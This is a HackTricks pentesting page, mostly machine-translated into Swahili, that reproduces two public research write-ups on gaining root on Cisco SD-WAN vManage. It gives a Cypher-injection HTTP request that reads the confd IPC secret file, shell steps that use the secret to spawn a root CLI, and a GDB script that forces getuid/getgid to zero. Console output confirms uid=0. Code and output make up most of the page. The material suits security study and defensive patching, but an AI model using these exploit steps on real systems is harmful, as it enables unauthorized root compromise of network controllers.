# Cisco - vmanage {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Path 1 (Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) Baada ya kuchimba kidogo kupitia baadhi ya [nyaraka](http://66.218.245.39/doc/html/rn03re18.html) zinazohusiana na `confd` na binaries tofauti (zinazopatikana kwa akaunti kwenye tovuti ya Cisco), tuligundua kwamba ili kuthibitisha socket ya IPC, inatumia siri iliyoko katika `/etc/confd/confd_ipc_secret`: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` Kumbuka mfano wetu wa Neo4j? Inafanya kazi chini ya ruhusa za mtumiaji `vmanage`, hivyo inaturuhusu kupata faili hiyo kwa kutumia udhaifu wa awali: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 Host: vmanage-XXXXXX.viptela.net [...] "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` Programu ya `confd_cli` haisaidii hoja za amri lakini inaita `/usr/bin/confd_cli_user` kwa hoja. Hivyo, tunaweza kuitisha moja kwa moja `/usr/bin/confd_cli_user` kwa seti zetu za hoja. Hata hivyo, haiwezi kusomwa na haki zetu za sasa, hivyo tunapaswa kuipata kutoka rootfs na kuikopi kwa kutumia scp, kusoma msaada, na kuitumia kupata shell: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret vManage:~$ /tmp/confd_cli_user -U 0 -G 0 Welcome to Viptela CLI admin connected from 127.0.0.1 using console on vManage vManage# vshell vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) Blogu¹ ya timu ya synacktiv ilielezea njia nzuri ya kupata root shell, lakini tatizo ni kwamba inahitaji kupata nakala ya `/usr/bin/confd_cli_user` ambayo inaweza kusomwa tu na root. Nilipata njia nyingine ya kupandisha hadhi hadi root bila usumbufu kama huo. Nilipovunja kipande cha `/usr/bin/confd_cli` binary, niliona yafuatayo: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80 401669: 49 89 c4 mov %rax,%r12 40166c: 48 85 db test %rbx,%rbx 40166f: b8 dc 30 40 00 mov $0x4030dc,%eax 401674: 48 0f 44 d8 cmove %rax,%rbx 401678: 4d 85 e4 test %r12,%r12 40167b: b8 e6 30 40 00 mov $0x4030e6,%eax 401680: 4c 0f 44 e0 cmove %rax,%r12 401684: e8 b7 f8 ff ff callq 400f40 <-- HERE 401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp) 40168f: e8 6c f9 ff ff callq 401000 <-- HERE 401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp) 40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi 4016a0: e8 7b f9 ff ff callq 401020 4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp) 4016ac: 48 85 c0 test %rax,%rax 4016af: 0f 84 ad 03 00 00 je 401a62 4016b5: ba ff 03 00 00 mov $0x3ff,%edx 4016ba: 48 89 c6 mov %rax,%rsi 4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` Wakati ninapokimbia “ps aux”, niliona yafuatayo (_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. root.gdb: ``` set environment USER=root define root finish set $rax=0 continue end break getuid commands root end break getgid commands root end run ``` Output ya Console: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-poky-linux". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done. Breakpoint 1 at 0x400f40 Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401871 in ?? () Welcome to Viptela CLI root connected from 127.0.0.1 using console on vmanage vmanage# vshell bash-4.4# whoami ; id root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` {% hint style="success" %} Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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